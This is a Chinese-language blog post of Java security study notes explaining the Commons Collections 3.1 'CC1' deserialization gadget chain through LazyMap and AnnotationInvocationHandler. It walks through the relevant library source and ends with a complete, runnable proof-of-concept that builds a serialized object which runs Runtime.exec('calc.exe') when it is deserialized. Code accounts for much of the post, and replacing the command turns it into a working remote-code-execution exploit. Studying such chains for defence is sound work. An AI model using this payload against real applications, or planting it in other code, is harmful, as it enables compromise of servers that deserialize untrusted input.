Java安全学习笔记--反序列化利用链CC1链(1)

测试环境

jdk1.7(jdk7u80)

Commons Collections3.1

预备知识简述

反射

每个类在第一次创建时会生成一个class实例,这个class实例保存着类的所有信息,可以通过:

public Field[] getFields();

//返回类的成员方法

public Method[] getMethods();

//返回类的构造方法

public Constructor<T> getConstructor(Class<?>... parameterTypes);

Class对象中存储类信息的内部静态类

有三种方式获取class实例student.getClass() ,Class.forname(“Strudent类路径”),Student.clsss。

代理

接口类 instance=(接口类)Proxy,newProxyInstance(实例.getclass().classloder(),实例.getClass().getInterfaces(实例实现的所有接口,new invocationHandler{})

JNDI

RMI命名服务

LADP目录服务。。。

利用链核心

这几行代码运行后会直接弹出计算器

Test.java:

public static void main(String[] args) {
    Transformer transformers[]=new Transformer[]{

            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
    };
    Transformer transformChain= new ChainedTransformer(transformers);
    transformChain.transform("ads");
}

使用到了这几个类

Constantransformer类:

Constantransformer类的构造方法会将输入的类绑定到类变量this.iConstat上,这个类的transform方法会接受一个input但是只会直接返回this.iConstant跟input没有关系

  public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }

InvokerTransformer类

InvokerTransformer(要调用的方法,调用方法的形参,调用方法的实参)构造方法

   private InvokerTransformer(String methodName) {
        this.iMethodName = methodName;
        this.iParamTypes = null;
        this.iArgs = null;
    }

transform方法会使用反射(getMethod(方法名,形参))获取方法并返回invoke(实参)调用后的结果,这里注意getMethon返回的是公有方法

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

ChainedTransformer类

ChainedTransformer会遍历Transforms数组中的元素并调用元素的transform方法

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

简单写一下Test.java代码执行过程

直接看Test.java最后两行tramsformchain.transform(“asd”),这两行代码把transforms赋值给iTransformers,然后调用了ChainedTransformer的transform函数,开始遍历transforms调用每个元素的transform()

Transformer transformChain= new ChainedTransformer(transformers);

transformChain.transform("ads");
public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

第一次循环:第一个元素是ConstantTransformer(Runtime.class),”ads“这个字符串被传入他的transform方法,返回Runtime.class,object变量变为Runtime.class。

,第二次循环:第二个元素为 invokerTransformer(“getMethod”,…),调用它的transform函数并将Runtime.class传入会返回Runtime.class.getClass().getMethod(“getRuntime”,new Class[0])的调用结果,以上三个类都是实现了Serializable接口的,为了触发核心利用链需要有可以调用transform()的地方。

通过TransformedMap或LazyMap+AnnocationinvocationHandler可以达到在反序列化的时候触发transform()的效果,TransformedMap和LazyMap的构造方法都被protected修饰符修饰不能用new直接实例化,可以通过类内部的方法返回一个实例也可以用反射

Lazymap链

在lazyMap这个类的源码中可以看到一处transform()调用:

同样在源码中找一下this.factory这个变量是否可控,可以看出被public修饰的decorate方法是可以返回一个Lazymap实例的可以通过反射控制factory变量(lazyMap的构造方法使用protected修饰所以不太好利用构造方法控制factory变量),factory可控这样利用链就可以构造出来了。

寻找触发get()函数的触发点

cc1链中Lazymap和transformedMap这两条利用链都是利用AnnotationinvocationHandler类来触发的,AnnotationinvocationHandler实现了invocationHandler接口使得它可以作为newProxyinstance的第三个函数,每次被代理类的函数被触发都会调用AnnotationinvocationHandler的invoke函数, invoke函数中有这么一段代码:

Object var6 = this.memberValues.get(var4);

this.MemberValues是AnnotationinvocationHandler实例化时传入的参数类型为map,所以可控,而AnnotationinvocationHandler的readObject函数中恰好调用了memberValuede的函数,所以可以通过反射将生成的代理类赋值给memberValues,在反序列化的过程中触发readobject函数执行到这行代码时

Iterator var4 = this.memberValues.entrySet().iterator();

触发invoke函数。

调试了一下,Var4获取的是Lazymap.decorate(map,chainedtransformer)时传入的map的迭代器,var5获取到map中的第一个元素,var6获取第一个元素的key。

传入Target.class是为了满足if判断使得我们反射赋值成功,Target.class只继承了Annotation

if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
    this.type = var1;
    this.memberValues = var2;
} 

编写POC

      import org.apache.commons.collections.Transformer;
        import org.apache.commons.collections.functors.ChainedTransformer;
        import org.apache.commons.collections.functors.ConstantTransformer;
        import org.apache.commons.collections.functors.InvokerTransformer;
        import org.apache.commons.collections.map.LazyMap;

        import java.io.*;
        import java.lang.annotation.Target;
        import java.lang.reflect.*;
        import java.util.HashMap;
        import java.util.Map;


public class lazyMapPoc {



    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        Transformer transformers[]=new Transformer[]{

                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        Transformer transformChain= new ChainedTransformer(transformers);
        Map map =new HashMap();
//        map会被传入到Lazymap父类中去在readObject中被获取迭代器
        Map lazyMap=  LazyMap.decorate(map,transformChain);
        Class classInstance=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射调用
        Constructor constructor=classInstance.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);//setAccessible(true)使得可以访问私有对象
        InvocationHandler annotationInvocationHandler=(InvocationHandler) constructor.newInstance(Target.class,lazyMap);
//        生成代理类需要的InvocationHandler,传入Target.class使得符合annotationInvocationHandler构造函数中的if判断对this.type和this.memberVales赋值
        Map proxyMap= (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),lazyMap.getClass().getInterfaces(),annotationInvocationHandler);
         annotationInvocationHandler=(InvocationHandler) constructor.newInstance(Target.class,proxyMap);//nerInstance返回object需要强制类型转换一下
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(annotationInvocationHandler);
        outputStream.close();
        ByteArrayInputStream  byteArrayInputStream=new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream inputStream=new ObjectInputStream(byteArrayInputStream);
        Object object=inputStream.readObject();
    }
}

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值